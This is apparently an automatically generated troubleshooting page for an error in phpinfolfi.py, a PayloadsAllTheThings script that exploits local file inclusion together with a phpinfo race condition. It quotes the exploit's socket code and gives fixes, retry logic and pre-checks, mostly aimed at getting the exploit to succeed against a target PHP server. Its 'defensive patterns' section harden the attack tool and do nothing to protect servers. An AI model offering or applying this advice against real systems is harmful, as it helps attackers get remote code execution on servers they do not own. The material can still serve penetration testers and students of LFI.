swisskyrepo/PayloadsAllTheThings · error · ValueError
No php tmp_name in phpinfo output
Error message
No php tmp_name in phpinfo output
What it means
Raised by getOffset() in phpinfolfi.py after it fetches the target's phpinfo page over a raw socket and cannot find the string '[tmp_name] =>' (or its HTML-escaped variant '[tmp_name] =>') anywhere in the accumulated response body d. The tmp_name entry in phpinfo output is the core primitive of this LFI+PHPInfo race exploit: it leaks the random /tmp/phpXXXXXX filename of the just-uploaded POST file, which the script then includes via the LFI. No tmp_name means the exploit cannot compute the offset (marker position + 256 bytes of padding) and the run aborts.
Source
Thrown at File Inclusion/Files/phpinfolfi.py:119
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =>")
if i == -1:
i = d.find("[tmp_name] =>")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print("found %s at %i" % (d[i:i+10],i))
# padded up a bit
return i+256
def main():
print("LFI With PHPInfo()")
print("-=" * 30)
if len(sys.argv) < 2:
print("Usage: %s host [port] [threads]" % sys.argv[0])
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error as e:
print("Error with hostname %s: %s" % (sys.argv[1], e))View on GitHub (pinned to 3bff425aca)
Solutions
- Verify manually that the phpinfo URL works: curl -s --compressed -F 'x=@file' http://HOST/phpinfo.php | grep tmp_name — if empty, fix the URL/path baked into phpinforeq or re-enable file_uploads on the target.
- Confirm the target actually runs PHP and that the request in phpinforeq (host header, path, Content-Type multipart/form-data) matches the live server; adjust the request template in the script.
- If the response is gzip-encoded, strip/adjust the Accept-Encoding header in phpinforeq (send 'Identity' or remove gzip) so '[tmp_name] =>' appears verbatim.
- Harden the read loop: recv until the connection closes (i == '') instead of relying solely on the '0\r\n\r\n' chunked terminator, so a split final chunk cannot truncate d before the marker.
- Catch the ValueError per attempt in ThreadWorker and retry until maxattempts, since a slow phpinfo response can transientally miss the marker.
Example fix
# before
i = d.find("[tmp_name] =>")
if i == -1:
i = d.find("[tmp_name] =>")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
# after
i = d.find("[tmp_name] =>")
if i == -1:
i = d.find("[tmp_name] =>")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output (check phpinfo URL, "
"file_uploads=On, and that response is not gzip-encoded)") Defensive patterns
Strategy: validation
Validate before calling
# Verify the phpinfo endpoint leaks tmp_name for a multipart POST before running the race
import urllib2 # py2
req = urllib2.Request('http://%s:%s/phpinfo.php' % (HOST, PORT),
data='-----------------------------x\r\nContent-Disposition: form-data; name="x"; filename="x"\r\n\r\nx\r\n-----------------------------x--\r\n',
headers={'Content-Type': 'multipart/form-data; boundary=---------------------------x'})
body = urllib2.urlopen(req).read()
if '[tmp_name] =>' not in body and '[tmp_name] =>' not in body:
raise SystemExit('phpinfo does not leak tmp_name; check URL, file_uploads, and encoding') Type guard
def phpinfo_leaks_tmp_name(host, port, phpinforeq):
"""Returns True only when the phpinfo response contains a tmp_name marker."""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect((host, port))
s.send(phpinforeq)
d = ''
while True:
i = s.recv(4096)
if i == '':
break
d += i
if i.endswith('0\r\n\r\n'):
break
s.close()
return ('[tmp_name] =>' in d) or ('[tmp_name] =>' in d) Try / catch
try:
offset = getOffset(host, port, phpinforeq)
except ValueError as e:
print('[-] %s — confirm the phpinfo URL is reachable, file_uploads=On, '
'and the response is not gzip-encoded' % e)
sys.exit(1) Prevention
- Confirm with curl --compressed -F that phpinfo echoes a tmp_name row before launching the script.
- Send Accept-Encoding: Identity in phpinforeq so the marker stays plain-text.
- Read until socket close rather than trusting only the '0\r\n\r\n' chunked terminator to avoid truncated bodies.
- Ensure file_uploads=On and the target really runs PHP at the URL baked into the request template.
When it happens
Trigger: Calling the script against a host/port where the phpinfo() page is not served at the expected path or the target is not running PHP; the URL in phpinforeq returns an error page (404/403/redirect) instead of phpinfo output; the response is gzip/deflate-encoded so '[tmp_name] =>' never appears in plain text; the chunked-encoding termination heuristic (chunk ending with '0\r\n\r\n') never matches because the response is not chunked or the final recv splits the terminator, leaving d truncated before the $_FILES section; a proxy or WAF strips or alters the page.
Common situations: Pointing the tool at a modern PHP app where phpinfo.php was removed or never deployed; target behind a reverse proxy (nginx with gzip on) so the body is compressed; target served over HTTPS while the script speaks plain HTTP to that port; ISP/proxy HTML-escaping the payload so only the '>' variant exists and that variant is also mangled; PHP versions/configs where file_uploads=Off, so phpinfo contains no tmp_name row for the multipart POST.
AI-assisted analysis of swisskyrepo/PayloadsAllTheThings@3bff425aca (2026-08-14).
Data as JSON: /api/errors/c6b5906f9e130250.
Report an issue: GitHub.